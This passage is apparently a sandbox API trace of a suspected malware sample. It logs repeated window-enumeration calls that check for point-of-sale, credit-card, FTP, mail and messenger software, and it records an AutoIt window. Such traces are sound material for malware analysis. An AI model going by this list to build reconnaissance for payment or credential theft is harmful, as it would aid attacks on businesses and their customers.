lpString="Blank Page - Internet Explorer") returned 30 [0168.746] GetClassNameW (in: hWnd=0x4012a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="TabThumbnailWindow") returned 18 [0168.746] GetWindowTextW (in: hWnd=0x202dc, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.746] GetClassNameW (in: hWnd=0x202dc, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="URL Moniker Notification Window") returned 31 [0168.746] GetWindowTextW (in: hWnd=0x202fe, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.746] GetClassNameW (in: hWnd=0x202fe, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="URL Moniker Notification Window") returned 31 [0168.746] GetWindowTextW (in: hWnd=0x202b2, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.746] GetClassNameW (in: hWnd=0x202b2, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0168.746] GetWindowTextW (in: hWnd=0x30036, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="DDE Server Window") returned 17 [0168.747] GetClassNameW (in: hWnd=0x30036, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="OleDdeWndClass") returned 14 [0168.747] GetWindowTextW (in: hWnd=0x10360, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.747] GetClassNameW (in: hWnd=0x10360, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0168.747] GetWindowTextW (in: hWnd=0x10350, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Spgagentservice") returned 15 [0168.747] GetClassNameW (in: hWnd=0x10350, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="spgagentserviceclass") returned 20 [0168.747] GetWindowTextW (in: hWnd=0x1034c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Thank Clearly") returned 13 [0168.747] GetClassNameW (in: hWnd=0x1034c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Thank_clearly_cls") returned 17 [0168.748] GetWindowTextW (in: hWnd=0x10348, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Learn Get") returned 9 [0168.748] GetClassNameW (in: hWnd=0x10348, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Learn_get_") returned 10 [0168.748] GetWindowTextW (in: hWnd=0x1032c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Spcwin") returned 6 [0168.748] GetClassNameW (in: hWnd=0x1032c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="spcwinwindow") returned 12 [0168.748] GetWindowTextW (in: hWnd=0x10342, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Hair Federal") returned 12 [0168.748] GetClassNameW (in: hWnd=0x10342, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="hairFederalcls") returned 14 [0168.748] GetWindowTextW (in: hWnd=0x10338, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Education") returned 9 [0168.749] GetClassNameW (in: hWnd=0x10338, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Educationwnd") returned 12 [0168.749] GetWindowTextW (in: hWnd=0x10336, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Utg2") returned 4 [0168.749] GetClassNameW (in: hWnd=0x10336, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="utg2_win") returned 8 [0168.749] GetWindowTextW (in: hWnd=0x10324, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Mxslipstream") returned 12 [0168.749] GetClassNameW (in: hWnd=0x10324, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="mxslipstream_class") returned 18 [0168.749] GetWindowTextW (in: hWnd=0x1030e, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Creditservice") returned 13 [0168.749] GetClassNameW (in: hWnd=0x1030e, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="creditservice_") returned 14 [0168.749] GetWindowTextW (in: hWnd=0x10326, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Omnipos") returned 7 [0168.750] GetClassNameW (in: hWnd=0x10326, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="omniposwindow") returned 13 [0168.750] GetWindowTextW (in: hWnd=0x10318, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Fpos") returned 4 [0168.750] GetClassNameW (in: hWnd=0x10318, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="fpos_window") returned 11 [0168.750] GetWindowTextW (in: hWnd=0x10310, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Edcsvr") returned 6 [0168.751] GetClassNameW (in: hWnd=0x10310, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="edcsvrapp") returned 9 [0168.751] GetWindowTextW (in: hWnd=0x1031a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Isspos") returned 6 [0168.751] GetClassNameW (in: hWnd=0x1031a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="isspos_win") returned 10 [0168.751] GetWindowTextW (in: hWnd=0x10300, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Ccv_Server") returned 10 [0168.751] GetClassNameW (in: hWnd=0x10300, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="ccv_serverwin") returned 13 [0168.751] GetWindowTextW (in: hWnd=0x102f2, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Afr38") returned 5 [0168.752] GetClassNameW (in: hWnd=0x102f2, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="afr38wnd") returned 8 [0168.752] GetWindowTextW (in: hWnd=0x10306, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Centralcreditcard") returned 17 [0168.752] GetClassNameW (in: hWnd=0x10306, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="centralcreditcard_wnd") returned 21 [0168.752] GetWindowTextW (in: hWnd=0x102f6, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Aldelo") returned 6 [0168.752] GetClassNameW (in: hWnd=0x102f6, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="aldelowindow") returned 12 [0168.752] GetWindowTextW (in: hWnd=0x102ee, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Accupos") returned 7 [0168.752] GetClassNameW (in: hWnd=0x102ee, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="accupos_") returned 8 [0168.753] GetWindowTextW (in: hWnd=0x102e8, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Active-Charge") returned 13 [0168.753] GetClassNameW (in: hWnd=0x102e8, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="active-chargewin") returned 16 [0168.753] GetWindowTextW (in: hWnd=0x102e6, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Yahoomessenger") returned 14 [0168.753] GetClassNameW (in: hWnd=0x102e6, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="yahoomessengerwindow") returned 20 [0168.753] GetWindowTextW (in: hWnd=0x102d8, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Whatsapp") returned 8 [0168.753] GetClassNameW (in: hWnd=0x102d8, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="whatsapp_cls") returned 12 [0168.753] GetWindowTextW (in: hWnd=0x102e0, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Winscp") returned 6 [0168.754] GetClassNameW (in: hWnd=0x102e0, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="winscp_app") returned 10 [0168.754] GetWindowTextW (in: hWnd=0x102d6, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Webdrive") returned 8 [0168.754] GetClassNameW (in: hWnd=0x102d6, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="webdriveapp") returned 11 [0168.754] GetWindowTextW (in: hWnd=0x102d2, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Trillian") returned 8 [0168.754] GetClassNameW (in: hWnd=0x102d2, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="trillianwin") returned 11 [0168.754] GetWindowTextW (in: hWnd=0x102aa, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Smartftp") returned 8 [0168.754] GetClassNameW (in: hWnd=0x102aa, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="smartftpwnd") returned 11 [0168.755] GetWindowTextW (in: hWnd=0x102b0, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Skype") returned 5 [0168.755] GetClassNameW (in: hWnd=0x102b0, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="skype_wnd") returned 9 [0168.755] GetWindowTextW (in: hWnd=0x102ac, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Thunderbird") returned 11 [0168.755] GetClassNameW (in: hWnd=0x102ac, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="thunderbird_wnd") returned 15 [0168.755] GetWindowTextW (in: hWnd=0x1029c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Scriptftp") returned 9 [0168.755] GetClassNameW (in: hWnd=0x1029c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="scriptftpapp") returned 12 [0168.755] GetWindowTextW (in: hWnd=0x10292, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Outlook") returned 7 [0168.756] GetClassNameW (in: hWnd=0x10292, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="outlookwindow") returned 13 [0168.756] GetWindowTextW (in: hWnd=0x10294, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Pidgin") returned 6 [0168.756] GetClassNameW (in: hWnd=0x10294, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="pidgin_cls") returned 10 [0168.756] GetWindowTextW (in: hWnd=0x10286, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Notepad") returned 7 [0168.756] GetClassNameW (in: hWnd=0x10286, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="notepad") returned 7 [0168.756] GetWindowTextW (in: hWnd=0x10288, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Operamail") returned 9 [0168.756] GetClassNameW (in: hWnd=0x10288, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="operamail_window") returned 16 [0168.757] GetWindowTextW (in: hWnd=0x1027e, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Ncftp") returned 5 [0168.757] GetClassNameW (in: hWnd=0x1027e, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="ncftp_win") returned 9 [0168.757] GetWindowTextW (in: hWnd=0x10274, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Icq") returned 3 [0168.757] GetClassNameW (in: hWnd=0x10274, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="icq_class") returned 9 [0168.757] GetWindowTextW (in: hWnd=0x10272, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Gmailnotifierpro") returned 16 [0168.757] GetClassNameW (in: hWnd=0x10272, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="gmailnotifierprowindow") returned 22 [0168.757] GetWindowTextW (in: hWnd=0x1026a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Foxmailincmail") returned 14 [0168.758] GetClassNameW (in: hWnd=0x1026a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="foxmailincmailwin") returned 17 [0168.758] GetWindowTextW (in: hWnd=0x10252, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Far") returned 3 [0168.758] GetClassNameW (in: hWnd=0x10252, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="farcls") returned 6 [0168.758] GetWindowTextW (in: hWnd=0x1024c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Bitkinex") returned 8 [0168.758] GetClassNameW (in: hWnd=0x1024c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="bitkinex") returned 8 [0168.758] GetWindowTextW (in: hWnd=0x1023e, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Alftp") returned 5 [0168.758] GetClassNameW (in: hWnd=0x1023e, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="alftp_class") returned 11 [0168.758] GetWindowTextW (in: hWnd=0x10238, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="3Dftp") returned 5 [0168.759] GetClassNameW (in: hWnd=0x10238, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="3dftp") returned 5 [0168.759] GetWindowTextW (in: hWnd=0x10266, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Fling") returned 5 [0168.759] GetClassNameW (in: hWnd=0x10266, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="fling_window") returned 12 [0168.759] GetWindowTextW (in: hWnd=0x1027a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Leechftp") returned 8 [0168.759] GetClassNameW (in: hWnd=0x1027a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="leechftpwnd") returned 11 [0168.759] GetWindowTextW (in: hWnd=0x1025e, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Filezilla") returned 9 [0168.759] GetClassNameW (in: hWnd=0x1025e, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="filezilla_wnd") returned 13 [0168.765] GetWindowTextW (in: hWnd=0x10236, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Institution Big Direction") returned 25 [0168.766] GetClassNameW (in: hWnd=0x10236, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="InstitutionBigDirection") returned 23 [0168.766] GetWindowTextW (in: hWnd=0x10260, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Flashfxp") returned 8 [0168.785] GetClassNameW (in: hWnd=0x10260, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="flashfxpwnd") returned 11 [0168.785] GetWindowTextW (in: hWnd=0x10254, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Coreftp") returned 7 [0168.785] GetClassNameW (in: hWnd=0x10254, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="coreftp_wnd") returned 11 [0168.785] GetWindowTextW (in: hWnd=0x1024a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Barca") returned 5 [0168.786] GetClassNameW (in: hWnd=0x1024a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="barcaclass") returned 10 [0168.786] GetWindowTextW (in: hWnd=0x10226, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="For Receive") returned 11 [0168.786] GetClassNameW (in: hWnd=0x10226, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Forreceiveapp") returned 13 [0168.787] GetWindowTextW (in: hWnd=0x1021c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Behind Town") returned 11 [0168.787] GetClassNameW (in: hWnd=0x1021c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Behind_town_window") returned 18 [0168.787] GetWindowTextW (in: hWnd=0x10240, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Absolutetelnet") returned 14 [0168.788] GetClassNameW (in: hWnd=0x10240, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="absolutetelnet_class") returned 20 [0168.788] GetWindowTextW (in: hWnd=0x10218, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Particular Crime") returned 16 [0168.788] GetClassNameW (in: hWnd=0x10218, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="particularCrimeclass") returned 20 [0168.788] GetWindowTextW (in: hWnd=0x1022c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Meet Seat Sometimes") returned 19 [0168.788] GetClassNameW (in: hWnd=0x1022c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="MeetseatSometimeswindow") returned 23 [0168.789] GetWindowTextW (in: hWnd=0x10224, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Private Perform Born") returned 20 [0168.789] GetClassNameW (in: hWnd=0x10224, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Private_Perform_Born_") returned 21 [0168.790] GetWindowTextW (in: hWnd=0x1020a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Arm Already Outside") returned 19 [0168.790] GetClassNameW (in: hWnd=0x1020a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Arm_already_outside_win") returned 23 [0168.791] GetWindowTextW (in: hWnd=0x10202, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Big") returned 3 [0168.791] GetClassNameW (in: hWnd=0x10202, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="big_window") returned 10 [0168.791] GetWindowTextW (in: hWnd=0x1021e, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Player Pay Half") returned 15 [0168.791] GetClassNameW (in: hWnd=0x1021e, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="playerpayhalfwindow") returned 19 [0168.791] GetWindowTextW (in: hWnd=0x10216, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Sea Travel Style") returned 16 [0168.791] GetClassNameW (in: hWnd=0x10216, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Sea_Travel_style_cls") returned 20 [0168.792] GetWindowTextW (in: hWnd=0x10200, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Magazine") returned 8 [0168.792] GetClassNameW (in: hWnd=0x10200, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="magazine_app") returned 12 [0168.793] GetWindowTextW (in: hWnd=0x10204, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Production Tend") returned 15 [0168.794] GetClassNameW (in: hWnd=0x10204, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="productiontendcls") returned 17 [0168.794] GetWindowTextW (in: hWnd=0x301f6, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Painting") returned 8 [0168.794] GetClassNameW (in: hWnd=0x301f6, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="paintingcls") returned 11 [0168.794] GetWindowTextW (in: hWnd=0x201fa, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Better") returned 6 [0168.794] GetClassNameW (in: hWnd=0x201fa, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Betterclass") returned 11 [0168.794] GetWindowTextW (in: hWnd=0x30032, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Run Service Who") returned 15 [0168.794] GetClassNameW (in: hWnd=0x30032, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Run_service_Who_") returned 16 [0168.795] GetWindowTextW (in: hWnd=0x3001c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.795] GetClassNameW (in: hWnd=0x3001c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0168.795] GetWindowTextW (in: hWnd=0x20142, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.797] GetClassNameW (in: hWnd=0x20142, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="DDEMLEvent") returned 10 [0168.797] GetWindowTextW (in: hWnd=0x2013e, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.797] GetClassNameW (in: hWnd=0x2013e, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="DDEMLMom") returned 8 [0168.798] GetWindowTextW (in: hWnd=0x20140, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.798] GetClassNameW (in: hWnd=0x20140, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0168.798] GetWindowTextW (in: hWnd=0x2008a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.798] GetClassNameW (in: hWnd=0x2008a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0168.799] GetWindowTextW (in: hWnd=0x60046, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="AutoIt v3") returned 9 [0168.799] NtdllDefWindowProc_W (hWnd=0x60046, Msg=0xd, wParam=0x400, lParam=0xbdedb0) returned 0x9 [0168.799] GetClassNameW (in: hWnd=0x60046, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="AutoIt v3") returned 9 [0168.799] GetWindowTextW (in: hWnd=0x101e8, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="MS_WebcheckMonitor") returned 18 [0168.799] GetClassNameW (in: hWnd=0x101e8, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0168.799] GetWindowTextW (in: hWnd=0x101e0, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="BluetoothNotificationAreaIconWindowClass") returned 40 [0168.799] GetClassNameW (in: hWnd=0x101e0, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0168.799] GetWindowTextW (in: hWnd=0x101dc, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.800] GetClassNameW (in: hWnd=0x101dc, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="PNIHiddenWnd") returned 12 [0168.800] GetWindowTextW (in: hWnd=0x101d8, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.800] GetClassNameW (in: hWnd=0x101d8, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0168.800] GetWindowTextW (in: hWnd=0x101d4, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.800] GetClassNameW (in: hWnd=0x101d4, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0168.801] GetWindowTextW (in: hWnd=0x101d0, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.801] GetClassNameW (in: hWnd=0x101d0, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0168.801] GetWindowTextW (in: hWnd=0x101c2, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.801] GetClassNameW (in: hWnd=0x101c2, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="ATL:00007FFFE39A7080") returned 20 [0168.802] GetWindowTextW (in: hWnd=0x101ba, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.802] GetClassNameW (in: hWnd=0x101ba, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0168.802] GetWindowTextW (in: hWnd=0x101aa, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Battery Meter") returned 13 [0168.802] GetClassNameW (in: hWnd=0x101aa, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="SystemTray_Main") returned 15 [0168.802] GetWindowTextW (in: hWnd=0x101a6, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.802] GetClassNameW (in: hWnd=0x101a6, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0168.803] GetWindowTextW (in: hWnd=0x20186, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="DDE Server Window") returned 17 [0168.803] GetClassNameW (in: hWnd=0x20186, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="OleDdeWndClass") returned 14 [0168.803] GetWindowTextW (in: hWnd=0x10188, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Task Host Window") returned 16 [0168.803] GetClassNameW (in: hWnd=0x10188, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0168.803] GetWindowTextW (in: hWnd=0x1011c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.803] GetClassNameW (in: hWnd=0x1011c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0168.804] GetWindowTextW (in: hWnd=0x10124, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.804] GetClassNameW (in: hWnd=0x10124, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="TabletModeCoverWindow") returned 21 [0168.804] GetWindowTextW (in: hWnd=0x10198, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.804] GetClassNameW (in: hWnd=0x10198, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0168.804] GetWindowTextW (in: hWnd=0x1019a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.805] GetClassNameW (in: hWnd=0x1019a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0168.805] GetWindowTextW (in: hWnd=0x10122, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.805] GetClassNameW (in: hWnd=0x10122, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="DummyDWMListenerWindow") returned 22 [0168.805] GetWindowTextW (in: hWnd=0x1011a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.806] GetClassNameW (in: hWnd=0x1011a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="EdgeUiInputTopWndClass") returned 22 [0168.806] GetWindowTextW (in: hWnd=0x100fc, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Windows Push Notifications Platform") returned 35 [0168.806] GetClassNameW (in: hWnd=0x100fc, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="PushNotificationsPowerManagement") returned 32 [0168.806] GetWindowTextW (in: hWnd=0x100f8, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="DDE Server Window") returned 17 [0168.806] GetClassNameW (in: hWnd=0x100f8, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="OleDdeWndClass") returned 14 [0168.807] GetWindowTextW (in: hWnd=0x100f6, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.807] GetClassNameW (in: hWnd=0x100f6, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0168.807] GetWindowTextW (in: hWnd=0x100f2, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.807] GetClassNameW (in: hWnd=0x100f2, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="ApplicationManager_DesktopShellWindow") returned 37 [0168.807] GetWindowTextW (in: hWnd=0x100ee, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.808] GetClassNameW (in: hWnd=0x100ee, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0168.808] GetWindowTextW (in: hWnd=0x100ea, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.808] GetClassNameW (in: hWnd=0x100ea, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0168.808] GetWindowTextW (in: hWnd=0x200e0, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.808] GetClassNameW (in: hWnd=0x200e0, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0168.808] GetWindowTextW (in: hWnd=0x100ca, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.808] GetClassNameW (in: hWnd=0x100ca, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0168.809] GetWindowTextW (in: hWnd=0x100b6, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.809] GetClassNameW (in: hWnd=0x100b6, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0168.809] GetWindowTextW (in: hWnd=0x20072, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.809] GetClassNameW (in: hWnd=0x20072, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="DDEMLEvent") returned 10 [0168.809] GetWindowTextW (in: hWnd=0x4006e, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.809] GetClassNameW (in: hWnd=0x4006e, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="DDEMLMom") returned 8 [0168.809] GetWindowTextW (in: hWnd=0x10024, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="DWM Notification Window") returned 23 [0168.810] GetClassNameW (in: hWnd=0x10024, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Dwm") returned 3 [0168.810] GetWindowTextW (in: hWnd=0x101a4, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.810] GetClassNameW (in: hWnd=0x101a4, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="CicLoaderWndClass") returned 17 [0168.810] GetWindowTextW (in: hWnd=0x30302, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.810] GetClassNameW (in: hWnd=0x30302, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Internet Explorer_Hidden") returned 24 [0168.811] GetWindowTextW (in: hWnd=0x3028e, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.811] GetClassNameW (in: hWnd=0x3028e, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Internet Explorer_Hidden") returned 24 [0168.811] GetWindowTextW (in: hWnd=0x100d8, 